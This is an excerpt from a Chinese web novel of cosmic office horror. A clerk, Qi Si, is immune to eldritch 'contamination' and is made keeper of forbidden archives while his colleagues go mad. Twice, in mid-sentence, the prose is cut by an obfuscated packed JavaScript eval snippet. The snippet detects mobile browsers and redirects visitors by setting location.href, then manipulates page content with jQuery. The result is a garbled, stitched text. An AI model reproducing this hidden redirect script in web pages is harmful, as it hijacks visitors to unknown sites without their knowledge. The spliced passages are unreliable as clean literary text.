“看到这张,你有什么感觉?” “像什么?” “有没有觉得头疼?恶心?心跳加快?” 齐司看了一眼。 “像打印机卡纸。” “感觉……有点花。” 他们又给他听了一段录音。 录音里有极低的嗡鸣声,夹杂着一些几乎听不清的低语。 “听到什么?” “有没有觉得有人在跟你说话?” “有没有觉得声音从你脑子里出来?” 齐司听了一会儿。 “有点像空调坏了。” “声音不太清楚。” 他们又让他看了一段视频。 视频里是监控画面,走廊的灯光忽明忽暗,有人从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939309|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜头前走过,影子在地上拉长、扭曲。 在某一帧,有什么东西从天花板的缝隙里探出来,又缩回去。 “你看到了什么?” “有没有觉得哪里不对劲?” 齐司眯着眼睛看了一会儿。 “画质太差了。” “你们应该换个高清摄像头。” 会议室里安静了一瞬间。 戴眼镜的中年男人低头在表格上写东西。 【对象在面对一级、二级、三级禁忌刺激时,生理指标无明显波动。】 【主观报告:无异常感受。】 【推测:对象对旧日信息污染呈先天性“感知缺失”。】 他写到这里,停了一下,又加了一句。 【对象可能是目前唯一可以长期面对真相而不崩溃的人。】 他抬头,看着齐司。 “你知道吗?现在整个局里,能像你这样还正常上班的人,不多了。” 齐司想了想。 “那你们可以多发点补贴。” 中年男人愣了一下,随即笑了一声,笑声里带着一点苦涩。 “补贴会有的。” “权限也会有的。” 他把桌上的一张卡推过来。 “这是新的权限卡,可以进入更多的资料库。” “以后,很多东西可能都要由你来保管。” 齐司看了一眼那张卡。 卡面是深蓝色的,上面有一串银色的编号。 【LV-Ω】 他心里只冒出一个念头: “设计挺好看。” 他把卡收起来。 “我还是做原来的工作。” “整理文件。” 中年男人点点头。 “你只要做你原来的工作就行。” “剩下的,我们会处理。” 他们以为,他是在“克制自己不去深入”。 他们以为,他是在“保持距离”。 他们不知道,他根本没有“深入”的能力。 因为那一整块“感知模块”,从一开始就不存在。 …… 随着时间推移,越来越多的东西被塞到他的抽屉里、文件夹里、U盘里。 同事们一个接一个地疯掉、失踪、写遗书。 每一封遗书的最后一句,几乎都一样。 【如果还有人能撑得住,请把这些东西交给齐司。】 【他是我们最后的保管者。】 【他看得见真相。】 他们错了。 齐司不是“看得见真相”。 他是“看不见恐怖”。 真相在他面前展开的时候,所有“恐怖”的部分都会被他的脑子自动屏蔽掉。 剩下的,只是“信息”“数据”“格式问题”。 旧日存在试图污染他,结果一次次失败。 它们的低语绕开他,去污染别人。 它们的梦境绕开他,去侵入别人。 它们的触须绕开他,去抓住别人。 每一次绕开,都会在经过他身边的时候,被那片“空白”擦掉一点点“边缘”。 那些被擦掉的“边缘”,掉进现实里,变成残片。 残片暴露了它们的“结构”“路径”“弱点”。 研究院的人顺着这些残片,慢慢摸索出了一些东西。 他们以为,是自己“调查有方”。 他们不知道,是因为那个“系统漏洞”在不断地把“源头”的边缘磨掉,丢出来。 齐司只是坐在自己的工位上,整理文件,锁抽屉,下班,回家,吃饭,睡觉。 他没有做过任何主动的调查行为。 但所有的线索、所有的遗物、所有的密码,都自动向他靠拢。 所有的疯子、所有的神秘个体、所有的旧日触须,都在他身边绕来绕去,最后,不是撞在那片“空白”上,就是绕开他,暴露出更多东西。 在别人眼里,他成了“唯一能长期面对真相的人”。 只有他自己知道—— 他只是“什么都没感觉”。 他只是“什么都没感觉”。 —— “齐司,你在吗?” 傍晚,办公室的灯只剩下几盏,天花板的白炽灯管在半明半暗之间轻微地嗡鸣,像远处压抑的海潮。 齐司正把一摞纸质档案塞进牛皮纸袋,听见门口有人喊他名字,抬眼。 门框那边探进来的是三组的文书小李,脸色发白,眼眶发青,眼球上细密的血丝像蛛网一样爬满,衬衫领口扣错了一颗扣子,整个人像是被什么东西在梦里反复碾压过。 “在。”齐司把档案袋封口,拿起桌上的保温杯,准备下班。 小李走进来时,脚步有点虚浮,鞋底在地砖上拖出细小的摩擦声。他手里抱着一个黑色密码箱,指节发抖,指甲缝里有没洗干净的黑墨痕迹。 “我……我要调离。”小李声音发干,喉结滚动,“不对,是……是被强制休假。精神评估不过。” 他勉强笑了一下,嘴角抽搐:“你知道的,最近……梦不太好。” 齐司“哦”了一声,把保温杯拧紧,顺手关掉桌上的台灯。 小李却像没看见他要走,径直把那个黑色密码箱放到齐司桌上,金属箱底与桌面接触,发出一声沉闷的“咚”。 “这个给你。”小李压低声音,眼神在办公室里乱飘,像是在躲避什么看不见的东西,“里面是‘深潜档案’的原始抄本,还有……还有他们不让我带走的东西。” 他呼吸急促,胸腔起伏得厉害,仿佛空气里有什么东西在挤压他的肺。 “我知道你……你看那些东西没事。”小李盯着齐司,眼神里带着一种近乎狂热的确定,“你是我们这批里,唯一一个看完《溺海祷文》还能正常上班的人。” 齐司想了想,才想起来那是什么——上个月被塞到他邮箱里的厚厚一叠黑墨手稿,字体歪斜,纸张潮湿发硬,散发着一股像是海藻腐烂又混着铁锈的味道。 他当时在午休前翻了几页,觉得排版混乱、语句不通,像是某种格式完全崩坏的工作邮件,便合上,夹在一堆待归档的材料里,顺手压在打印机旁。 后来那一堆材料被统一打包送去资料室,他连标题都没记住。 “你留着吧。”齐司说,“我用不上。” “你一定要收下。”小李猛地抓住他的手腕,指尖冰冷,指节因为用力而发白,“他们会来找的。那些东西会顺着梦、顺着声音、顺着……顺着纸上的缝隙爬出来。” 他声音忽然压低成耳语,嘴唇贴近齐司耳边,呼吸发烫:“它们已经在我眼睛后面了。每次眨眼,我都能看见海底的灯光。” 齐司侧了下头,避开那股过近的气息,抽回手。 “那你早点去医院。”他说。 小李愣了一下,喉咙里发出一声干涩的笑:“医院?他们只会给我更多的药。药片上也有字,你知道吗?我昨天才发现,药片的刻痕连起来,是同一段祷文。” 他说着,突然从口袋里掏出一个透明的小药瓶,瓶壁内侧有细密的黑色划痕,像是有人用极细的针在上面一笔一划刻字。瓶子里剩下三颗白色药片,表面微微发黄,刻痕在灯光下折射出暗淡的光。 “我不敢吃了。”小李把药瓶也塞到齐司手里,“你帮我保管。还有这个——” 他又从胸前口袋里摸出一张折得很细的纸,纸角已经被汗水浸透,边缘发软。 “这是‘深潜档案’的总库密码。”小李盯着那张纸,眼神发直,“他们说要换密码,我……我怕我以后记不住。你帮我记着。你不会忘的,你脑子里……很干净。” 纸被展开,露出一串长得近乎荒谬的混合字符:大写字母、小写字母、数字、奇怪的符号,还有几段看起来像是某种古文字的拼接。 齐司扫了一眼,脑子里自动把这串东西归类成“需要抄到密码管理表里的临时字符串”,没有任何“神秘”“禁忌”的感觉。 “我不记密码。”他说,“我都写在表上。” “那你就写。”小李急切地说,“写在你那儿。别写在别的地方。别让他们看见。” “谁?”齐司问。 小李的眼神忽然空了一瞬,像是被人按了暂停键。 办公室的空调风口吹出一阵冷风,吊顶里传来细微的金属震动声。远处走廊的灯闪了两下,又稳定下来。 “他们。”小李机械地重复了一遍,喉咙里挤出一声低笑,“你知道的,那些在墙后面、在字缝里、在……在我们说话的间隙里听着的东西。” 他笑着笑着,眼眶里忽然涌出眼泪,顺着脸颊滑下来,滴在齐司桌上的木纹上,迅速渗开一个深色的小圆点。 “我撑不住了。”小李哑着嗓子说,“我一闭眼,就看见那片海。海底有一座城市,楼都是倒着长的,街道是空的,只有影子在走。它们叫我的名字,让我下去。” 他抬手用力抓自己的头发,指尖陷进头皮,像是要把什么东西从脑子里抠出来。 “你不会听见的,对吧?”小李忽然又盯着齐司,眼神里带着一种近乎羡慕的绝望,“你睡得着,对吧?你不会在梦里被拉下去。” “睡得着。”齐司说。 他确实睡得很好。每天十一点前躺下,早上七点半自然醒。偶尔做梦,也是些诸如“打印机卡纸”“系统崩溃”“早上忘记打卡”之类的内容,醒来就忘。 那些所谓的“低语”“召唤”“海底的灯光”,对他来说,大概和空调的嗡鸣、电梯的提示音差不多——属于“背景噪音”范畴,被大脑自动归类为“无关信息”,在感知层面直接屏蔽掉。 “你真好。”小李喃喃道,像是在对一个已经站在岸上的人说话,而自己还在水里挣扎。 他后退一步,整个人像是被抽空了力气,靠在门框上,肩膀轻微地抖。 “记住,”他最后说,“箱子只能你开。密码也只能你看。别让他们……别让任何人替你看。” 说完,他转身走了,脚步虚浮,却走得很快,像是在逃离什么。 走廊尽头的灯光把他的背影拉得很长,影子在地上微微扭曲了一下,像是被什么看不见的水流冲刷过,又恢复原状。 门关上,办公室里只剩下空调的风声和灯管的嗡鸣。 齐司低头,看着桌上的黑色密码箱、透明药瓶和那张写着总库密码的纸。 他把纸平铺在桌上,拿起笔,在一张标准的“机密资料访问记录表”上,工整地抄了一遍那串密码,填上“深潜档案总库(临时)”,日期、时间、经手人签名。 签完字,他把原纸折好,塞进抽屉最里面,锁上。 药瓶被他随手放进桌角的杂物盒里,和几枚散落的回形针、一块备用橡皮、一截没用完的订书针条放在一起。 至于那个黑色密码箱,他试着拎了一下,分量不轻,金属表面冰凉,边角有轻微的磕碰痕迹,锁孔边缘磨得发亮,显然被频繁使用过。 箱体上没有任何标记,只有底部贴着一小块已经卷边的标签纸,上面印着一串编号,最后几位是“17-03”。 齐司看了看时间——下班时间已经过了十分钟。 他把箱子也塞进下方的柜子里,锁上,拿起保温杯和包,关灯,出门。 —— 回家的路上,地铁车厢里人不多,晚高峰已经过去,空气里混着淡淡的消毒水味和塑料座椅的气味。 车厢两端的电子屏幕上轮播着新闻:某沿海小城出现集体失眠事件,居民声称在梦中听见“海底的钟声”;某科研船在公海失联,最后一条无线电记录只有持续的低频噪音。 齐司站在门边,手扶着扶手,眼睛看着屏幕,脑子里却在盘算明天要不要把那箱子登记到固定资产表里。 旁边两个穿着调查局制服的年轻人压低声音在说话。 “你听说了吗?三组的小李也被送去‘静养中心’了。” “又一个?这已经是这个月第几个了?” “谁知道呢。上面说是‘接触深层信息过度’,要轮换。我们这批估计也快了。” “我可不想去那个地方。上次送材料进去,门一关上,走廊的灯就开始闪。我总觉得墙里有人在看。” “别说了,背后发凉。” 9. 第 9 章 他们说着说着,话题自然地转到了另一个名字上。 “不过你发现没?齐司还挺稳的。” “就是那个每天准点下班、从来不加班的?” “对啊。他不是也看过《溺海祷文》原稿吗?还帮档案室整理过‘深潜档案’的抄本。结果人家一点事没有,第二天照样来打卡。” “也许他天生意志力强?” “研究院那边的说法可不是这样。”另一个人压低声音,“我听我表哥说,他们内部已经把他列为‘高适应性个体’,准备给他开更高权限,让他做‘终端保管人’。” “终端保管人?那不是……所有原始文本、所有一手记录都要过他手?” “是啊。反正别人看了都疯,他看了没事,那不就只能他看吗?” “那他不就成了……唯一能长期面对那些东西的人?” “差不多。” 他们的声音被下一站进站的广播盖过去。 “前方到站:××路,请在本站下车的乘客提前做好准备。” 车门打开,又关上。地铁继续向前,钻入更深的地下。 齐司没怎么在意那些对话。他只是觉得,如果真的要他签更多的保密协议,那可能意味着更多的表格、更多的登记、更多的归档工作。 想到这里,他有点困。 —— 夜里,卧室的窗帘拉得很严,外面的路灯光只能从布料的缝隙里漏进来一点点,落在地板上,像一条被切断的光带。 齐司躺在床上,呼吸平稳,很快进入深睡。 在某个他完全没有意识到的层面,什么东西开始靠近。 那是一种没有形状的“存在”,或者说,是一团由无数低语、影像、记忆碎片、海水的味道和潮湿的黑暗混合而成的“信息团块”。 它沿着无数人的梦境爬行,穿过城市的楼群,顺着电线、下水道、无线信号、纸张纤维里的墨迹,缓慢而执拗地向一个坐标靠拢—— 齐司的大脑。 它曾经成功地侵入过很多人。那些人的梦境被它一点点啃噬,现实与幻觉的边界被它搅得一团糟,直到他们的理智像被浸泡太久的纸一样,轻轻一捏就碎。 它很熟练地开始了同样的过程。 ——首先,是“声音”。 在睡眠最浅的阶段,它会在耳边低语,模仿亲人的声音、恋人的声音、自己童年的声音,混入一些不属于人类语言的节奏和音节,让人分不清梦与醒。 它靠近。 “齐——司——” 声音在黑暗里拉长,像海潮拍打礁石时的回声。 齐司的脑子里,某个模块像是自动弹出一个提示框:“检测到无关音频输入,已屏蔽。” 于是,那些低语在接触到他的感知边缘时,被整片整片地切掉,像是被一把看不见的剪刀剪断,剩下的只是一点点无意义的嗡鸣,被当成“空调噪音”丢进背景。 ——其次,是“画面”。 它试图在他的梦里投射出那座海底城市:倒长的楼、向下延伸的街道、在黑暗中缓慢游动的巨大影子、远处若隐若现的灯光。 这些东西在别人的梦里一出现,就足以让人从睡梦中惊醒,满身冷汗,心跳如鼓。 它把这些画面推向齐司的梦境。 结果,梦境接收模块在第一时间做了一个“自动归类”—— “检测到非工作相关视觉信息,优先级:最低。” 于是,那些本该令人疯狂的画面,被当成“无关背景”丢到梦境的最边缘,甚至连“记忆编码”这一步都没走,直接在生成层就被覆盖。 齐司的梦,顺理成章地继续沿着原来的轨迹发展—— 他梦见自己在办公室里打印文件,打印机卡纸,红灯闪个不停。他打开后盖,发现里面塞满了皱巴巴的纸,每一张纸上都密密麻麻写着“请尽快处理”。 他叹了口气,一张一张把纸抽出来,扔进碎纸机。 碎纸机发出均匀的“咔嚓咔嚓”声,像是某种庞然大物在咀嚼。 ——最后,是“结构”。 它不死心,尝试用更深层的方式渗透——不再是具体的声音和画面,而是直接在他的“理解结构”里植入一个“概念”。 一个关于“海底”“归返”“溺没”“重塑”的概念。 这是一种更高维度的污染方式,很多资深调查员就是在这一层被击溃的——他们开始觉得,世界的重力方向不再是“向下”,而是“向某个看不见的深处”;他们开始觉得,水不是液体,而是一种“门”;他们开始觉得,自己的身体只是一个临时的壳,真正的“形状”在别处。 它把这个“概念团”推向齐司的“认知核心”。 结果,那里像是缺了一块。 不是有一道坚固的防线挡住了它,而是——那里本来就什么都没有。 就像一个程序里,原本应该有“渲染恐怖”的模块,却被人整块删掉了,只留下一个空指针。 “概念团”扑过去,扑了个空,像是用力捶在空气里,连一点回响都没有。 它愣了一下。 在那一瞬间,它第一次产生了一种奇怪的“错位感”—— 它习惯了在别人的精神结构里翻找、撕扯、重排,习惯了看到那些精密的逻辑像纸牌屋一样倒塌。 可在这里,它什么都抓不到。 没有恐惧模块,没有“未知”标签,没有“禁忌”标记,连“好奇心”的接口都异常微弱。 整个结构简单得近乎粗糙:工作、吃饭、睡觉、打卡、整理文件。 像一台只安装了最基础办公软件的电脑。 它尝试在别的地方下手,结果发现—— 所有它能利用的“入口”,都被标记为“非必要”。 而齐司的大脑,对“非必要”的东西,有一种近乎机械的屏蔽倾向。 它像是一头庞大的深海生物,撞进了一片完全空白的水域——没有礁石、没有暗流、没有可以藏身的裂缝,只有一望无际的、无特征的虚空。 它本能地想要退开。 可退开的瞬间,它又意识到了一件更糟糕的事—— 在它靠近、试图渗透、反复碰壁的过程中,它自己身上的一些“结构”“路径”“弱点”,被这片“空白”无声无息地磨掉了一些碎屑。 那些碎屑,顺着梦境的缝隙、顺着脑电波的波峰波谷,像被甩出去的水滴一样,飞向更广阔的地方。 研究院的监测设备,在这一夜的某个时刻,捕捉到了一组异常的脑电波样本。 —— 第二天早上,研究院的会议室里,几个人围着一块大屏幕,盯着上面跳动的曲线。 “这是昨晚‘高适应性个体-17’的睡眠监测数据。”一个戴眼镜的研究员指着屏幕说,“你们看这一段——” 他放大了一小段波形。 那是一段极不寻常的平滑曲线,几乎没有任何高频抖动,只有在某几个点上,突然出现了极细微的“毛刺”。 “正常人在接触‘深层信息’时,脑电会出现明显的紊乱。”研究员说,“但他没有。只有在这里、这里、还有这里,出现了微弱的反向波。” “反向?”旁边的人皱眉。 “对。”研究员点头,“就像是……有东西试图进入,又被弹了出去。” “弹出去的是什么?” “我们不知道。”研究员摊手,“但我们可以确定一点——他不仅没有被污染,反而在某种程度上,把污染源的一部分信息‘反射’了出来。” 他按下遥控器,屏幕上切换出另一组图像——一张由无数细线和节点构成的“结构图”。 “这是我们根据那几个‘毛刺’反推出来的‘路径残片’。”研究员说,“它们显示了‘源头’接近他的方式、频率、甚至部分结构。” “也就是说,”坐在主位上的中年人开口,声音低沉,“他是一个……‘窗口’?” “不完全是窗口。”研究员摇头,“更像是一个‘系统漏洞’。源头试图通过他侵入,但因为某种原因失败了,在这个过程中,自己的部分信息被我们捕捉到了。” “原因?”中年人问。 “我们还在分析。”研究员推了推眼镜,“但有一点可以确定——他的精神结构里,缺失了某些‘感知模块’。那些模块,恰好是源头最擅长利用的部分。” “所以他不会疯。”中年人总结。 “是。”研究员说,“他不会疯。他甚至不会‘看见’那些东西。” 会议室里安静了一瞬。 “那就更不能让他离开一线。”中年人敲了敲桌子,“把他的权限再提升一级。所有原始文本、所有一手记录,优先交给他处理。” “可是——”有人犹豫,“这样会不会……” “别忘了,”中年人打断他,“现在能长期面对那些东西而不崩溃的,只有他一个。” —— 齐司不知道自己一夜之间又被人开了什么会。 他只是照常到点起床,洗漱,吃了两片面包、一颗煎蛋,喝了半杯温牛奶,出门,坐地铁,上班。 打卡机旁边多了一个摄像头,红点亮着,镜头对着进出的人脸。 他刷卡,机器发出一声“滴”,屏幕上跳出“早上好,齐司”。 走进办公室时,他的桌上已经多了一摞新的文件和一个红色封条的信封。 信封上盖着“权限升级通知”的章。 他撕开信封,里面是一份简短的文件:从今日起,他被正式任命为“深层信息终端保管人”,享有访问所有A级及以下禁忌文本原件的权限。 文件末尾,是一长串需要他签字确认的保密条款。 “请在今日内完成签署,并前往研究院进行简短的适应性评估。” 下面还有一行小字:“评估预计耗时:15分钟。” 齐司看了看时间——现在是九点零五,他十点有一个例行的档案整理任务。 他拿起笔,迅速在每一页的签名栏签上自己的名字,动作熟练,笔画工整。 签完,他把文件夹好,放进待送件托盘里,准备等会儿顺路送去行政部。 旁边工位的同事探过头来,小声问:“又要签新的保密协议?” “嗯。”齐司应了一声。 “听说你要去研究院?”同事压低声音,“那地方……挺吓人的。” “十五分钟。”齐司说,“写几张表。” 他对“研究院”的印象,就是上次去做例行体检时,那栋楼里冷气开得有点大,走廊太白,墙上贴着各种“保持理智”的宣传画。 上面印着一些看起来很严肃的标语,比如“面对未知,请相信科学”“及时上报异常梦境”“不要独自阅读来历不明的文本”。 他看了一眼就忘了。 —— 研究院的适应性评估室在三楼,门口有两个安保站岗,门上装着指纹和虹膜识别。 工作人员核对了他的身份,把他带进一个小房间。 房间不大,四面墙都是浅灰色,没有窗,只有头顶一盏嵌在天花板里的灯,发出柔和却略显冰冷的白光。 中间是一张金属桌子,两把椅子,一台电脑,一台脑电监测仪。 “坐吧。”戴眼镜的研究员笑着对他说,“老规矩,做几个小测试。” 齐司坐下,袖子被卷起,手背上贴上了几个冷冰冰的电极,头上也被固定了几个传感器。 “先看几张图片。”研究员在电脑上点了几下,“有不舒服的地方随时说。” 屏幕上开始闪过一张张图片。 一开始是一些普通的图案:几何图形、风景照、城市夜景。 齐司眼睛跟着看,心里没有什么特别的感觉,只是觉得有点无聊。 然后,画面开始微妙地变化。 海面。 夜色。 远处的灯光。 水下隐约的影子。 一些结构开始在画面边缘出现——不符合人类建筑逻辑的线条、角度奇怪的楼体、向下延伸的街道。 再往后,画面里出现了更多“东西”:像是由无数触须、眼球、鳞片、牙齿拼接成的“形状”,却又在你试图聚焦时迅速模糊,像是被一层看不见的水波扭曲。 这些图片,都是从各种禁忌文本、疯癫者的画作、梦境记录里提取出来的“高风险视觉信息”。 很多人只看几秒,就会出现心率加快、呼吸急促、瞳孔放大等反应,甚至有人当场呕吐、崩溃。 齐司看着,脑子里只有一个念头—— “这排版谁做的?对称性太差。” 他甚至不觉得这些东西“丑”或者“怪”,因为在他的感知里,这些图像的“恐怖标签”根本没有被加载出来。 它们只是一些线条、色块、结构混乱的图案,像是某种失败的艺术实验。 “感觉怎么样?”研究员一边盯着脑电图,一边随口问。 “有点晃眼。”齐司说。 “头晕?恶心?心慌?” “没有。”齐司想了想,“就是有点想睡。” 研究员低头看了一眼屏幕上的数据,嘴角微微抽了一下。 脑电波平稳得近乎诡异,心率略有下降,呼吸均匀,瞳孔收缩幅度正常。 如果不是他亲眼看见齐司正对着那些图像,他几乎要以为监测设备坏了。 “好。”研究员咳了一声,“接下来读一段文字。” 他从抽屉里拿出一叠纸,递给齐司。 纸张发黄,边缘有烧灼的痕迹,上面用黑色墨水写着密密麻麻的文字,字体扭曲,行距不齐,间或夹杂着一些奇怪的符号和不属于任何已知语言的字符。 这是从某个祭祀现场抢救出来的“原始祷文”,被列为A级禁忌文本,平时只能在多重防护下由专人阅读。 “随便读几行就行。”研究员说,“大声读出来。” 齐司低头,看了一眼。 第一行:“当海面裂开,旧日之门将再度开启——” 他读出来,声音平稳,语速适中,像是在念一份普通的工作通告。 第二行:“在溺没者的肺中,祂的名字将被刻下——” 他继续读,语气里没有任何起伏,也没有任何“敬畏”“恐惧”“狂热”的情绪,只是机械地把眼前的符号转换成声音。 第三行、第四行…… 那些本该在发音的瞬间就对听者造成污染的音节,被他念出来时,像是被某种无形的滤网过滤了一遍,失去了大部分“锋利度”。 研究员侧耳听着,脑子里本能地开始出现一些不适——太阳穴轻微跳痛,后颈发紧,胃部有一点翻涌。 他迅速按下桌上的一个按钮,房间里响起一声轻微的“叮”,提示“阅读结束”。 “可以了。”他打断齐司,“辛苦。” 齐司停下,把纸放回桌上。 “感觉?”研究员问。 “有点像……”齐司想了想,“像看那种翻译软件翻出来的说明书。句子不太通顺。” 研究员嘴角又抽了一下。 “好。”他深吸一口气,努力维持专业的微笑,“评估结束。你可以回去了。” “十五分钟?”齐司问。 “差不多。”研究员看了一眼时间,确实是十五分钟整。 齐司起身,摘掉头上的传感器,袖子放下,走出房间。 门在他身后关上,隔绝了外面的脚步声。 研究员盯着屏幕上最后一段数据,沉默了很久。 “怎么样?”门外有人敲门,探头进来,“结果?” “他……”研究员揉了揉眉心,“还是那样。” “还是?”那人挑眉。 “完全无反应。”研究员说,“不对,不能说‘完全无反应’。他的反应是——把所有高危信息当成‘无关噪音’丢掉了。” “那不正是我们需要的吗?”那人笑了笑,“一个不会被噪音干扰的终端。” 研究员没有笑。 他盯着那条平滑得近乎诡异的脑电曲线,心里隐约有一种说不出的不安—— 一个完全感知不到恐怖的人,站在所有恐怖的最前面。 这到底是幸运,还是…… 他没再往下想。 —— 从那天起,更多的东西开始往齐司这边堆。 原本需要多重审批才能调阅的古卷,被一箱一箱送到他的办公室;从各地祭祀现场收集来的黑墨手稿,被装在密封袋里,整摞整摞堆在他桌角;墙上、地板上、受害者皮肤上拍下来的祭祀涂鸦,被打印成高清照片,夹在档案夹里,标注着各种编号。 他每天的工作内容,变成了—— 拆箱,登记,编号,归档。 偶尔需要“初步浏览”,以便在系统里填写“内容摘要”。 他翻开一卷发黄的古卷,纸张脆得一碰就掉渣,上面画着密密麻麻的螺旋、触须、眼睛,间或夹杂着一些像是星图又像是解剖图的东西。 他看了两眼,觉得这些图案的共同点是“线条太多”,于是在“内容摘要”栏里写下: “图像类为主,结构复杂,疑似宗教象征。” 翻到后面几页,出现了一段段用古文字写成的祷文,字迹歪斜,墨迹已经渗透到纸纤维深处,散发着淡淡的霉味。 他扫了一眼,认出几个常见的字根,觉得语法混乱,便在“内容摘要”里补了一句: “文字类内容语义不明,疑似方言或自创体系。” 他翻开一叠黑墨手稿,纸张潮湿,上面用力过猛的笔画把纸都划破了,墨水在裂口边缘凝成一圈圈深色的痂。 手稿里充斥着重复的句子:“海在呼吸”“门在下面”“他会回来”。 他看了几页,觉得这东西和前几天某个项目组写的“阶段性工作总结”有点像——同样的句子反复出现,只是换了几种说法。 于是他在“内容摘要”里写: “内容重复,情绪激烈,缺乏具体信息。” 至于那些祭祀涂鸦的照片——墙上、地板上、天花板上、镜子背后、床底板下,黑色的线条像是某种病态的藤蔓,缠绕成一个个扭曲的图案。 他看着,脑子里自动把这些东西归类成“乱写乱画”,在“内容摘要”里写: “图案类,个人风格强烈,未见统一体系。” 每写完一份,他都会在系统里点选“已阅”,然后把实物装回保护袋,放进对应编号的档案柜里。 他没有做任何“调查行为”。 他没有试图去理解那些祷文的真正含义,没有去对照那些图案与某些传说里的符号,也没有去追问这些东西从哪里来、指向哪里。 他只是把它们当成一份份普通的工作材料,机械地处理。 可在别人的视角里,这一切完全不是这样。 —— “他已经看完了三十七份A级文本原件。”某个秘密组织的内部会议上,一个戴着黑手套的人低声说,“没有任何异常。” “你确定?”坐在阴影里的声音问。 “研究院的监测数据我们已经拿到了。”黑手套把一叠打印出来的报告放在桌上,“心率、脑电、瞳孔反应,全程稳定。” “那他到底是什么?”另一个声音问,“一个人类,不可能对这种程度的污染完全无感。” “也许……”黑手套顿了顿,压低声音,“他不是‘无感’,而是——已经在更深的地方。” “什么意思?” “你们不觉得吗?”黑手套说,“所有疯掉的人,都在说‘海在呼吸’、‘门在下面’、‘他会回来’。而他,看着同样的东西,却一点反应都没有。” “这说明什么?” “说明他和‘那边’的距离,和我们不一样。”黑手套说,“我们是站在岸边,看着海;疯子是被拖进海里;而他——” 他停顿了一下,似乎在斟酌用词。 “他可能就是海。” 会议室里短暂的沉默。 “你的意思是,”阴影里的声音缓慢地说,“他是某种……‘化身’?” “至少,”黑手套说,“那些东西在他面前的表现,和在我们面前完全不同。它们绕开他,或者在接近他时暴露出更多结构。” “那我们该怎么做?” “靠近他。”黑手套说,“观察他。利用他。” —— 类似的误解,在不同的地方同时发生。 有疯掉的调查员在被押送进“静养中心”前,抓着押送员的衣领,眼神血红,嘴里喃喃: “他来了……他已经在这里了……你们看不见吗?他每天坐在那儿,像一块石头……海水从他身上流过去……” 押送员不耐烦地把他手掰开,以为他又在说胡话。 有在街角墙上乱画的流浪汉,看到齐司路过,突然停下手里的动作,呆呆地盯着他,嘴里发出一声低低的惊叹: “原来……原来是你。” 他说完,自己笑了起来,笑得眼泪都出来了,像是终于看见了某种“答案”。 他开始在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939310|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙上画得更快,线条疯狂地缠绕,最后在一片乱线中,勉强勾勒出一个坐在桌前的人影。 那个人影没有脸,只有一个空白的椭圆。 “他没有眼睛。”流浪汉一边画一边说,“他不需要看。他就是‘看’。” 路过的人以为他在胡言乱语,绕开他走。 —— 旧日存在本身,也在不断试探。 它们像是躲在海底的巨大阴影,顺着一条条信息的水流,试图找到那块“空白”的边界。 有一次,在某个偏远小镇的祭祀现场,调查员们在一口干涸的井底发现了一段新鲜的涂鸦。 那是一串用某种不知名的液体写成的符号,刚刚干透,边缘还带着一点湿润的光泽。 研究员们把它拍照、放大、分析,最后得出结论—— “这是对‘终端保管人’的直接呼唤。” “它们知道他?”有人惊讶。 “至少,它们在尝试接触他。”研究员说,“这段涂鸦的结构,与之前所有的祷文都不一样,更像是一种……‘协议请求’。” “那怎么办?” “送给他看。”研究员说,“看看会发生什么。” 于是,这张照片被打印出来,夹在一份普通的工作档案里,送到了齐司的桌上。 那天,他正准备下班。 他翻到那一页,看了一眼。 符号排列得很整齐,像是一段精心设计的代码。 他觉得这东西的共同点是“没有标点”,不符合他习惯的文档格式。 于是他在“内容摘要”里写: “结构完整,语义不明,建议后续由语言组分析。” 然后,他看了看时间——下班时间到了。 他合上档案夹,把未处理完的部分放进“待办”托盘,锁上抽屉,关灯,走人。 那段本该作为“协议请求”的涂鸦,在他的感知里,只是“另一段看不懂的东西”。 它没有被“接受”,也没有被“拒绝”,只是被当成“无关内容”丢进了工作流的某个角落。 在某个看不见的深处,那段“请求”像是被扔进了一个黑洞,没有回音。 发出请求的“存在”,在等待了一段时间后,终于意识到—— 对方根本没有“端口”。 它们像是试图和一块石头建立网络连接。 这种前所未有的“失败”,让它们本能地感到不安。 有的开始退缩,有的开始疯狂,有的开始在别的地方寻找新的入口。 而在这个过程中,它们身上的“结构”“路径”“弱点”,不断在试探中被磨掉碎片,被研究院、调查局、甚至一些民间秘密组织一点点捡起来,拼成越来越完整的“图”。 所有人都以为,是自己“调查有方”。 只有齐司知道—— 他什么都没做。 他只是下班、回家、吃饭、整理文件、拒绝加班。 —— 时间一点点过去。 更多的同事陆续疯掉、失踪、被送去“静养中心”。 有人在办公室里突然开始大笑,笑到眼泪鼻涕一把,最后整个人蜷在角落里,抱着头不停地说“海水进来了”;有人在会议中途突然站起来,冲到窗边,试图从十几层楼高的地方跳下去,说“下面有门”;还有人只是安静地坐在工位上,眼睛盯着屏幕,过了很久,屏幕上开始出现一行行自己打出来的字—— “他在看我。” “他在看我。” “他在看我。” 那个人最后被同事发现时,已经完全失去了对外界的反应,只会机械地重复这句话。 他们被陆续带走,桌上的东西被清理,留下的个人物品、未完成的工作、尚未提交的报告,全都被打包,送到一个地方—— 齐司的桌上。 “这些是老周的遗留档案。”行政部的人说,“你帮忙整理一下。” “这是小王的个人物品,他说如果他有一天走了,让我们把这本笔记本交给你。” “还有这个,是三组那边的,说是某个失踪调查员的随身记录,上面写着‘只给齐司看’。” 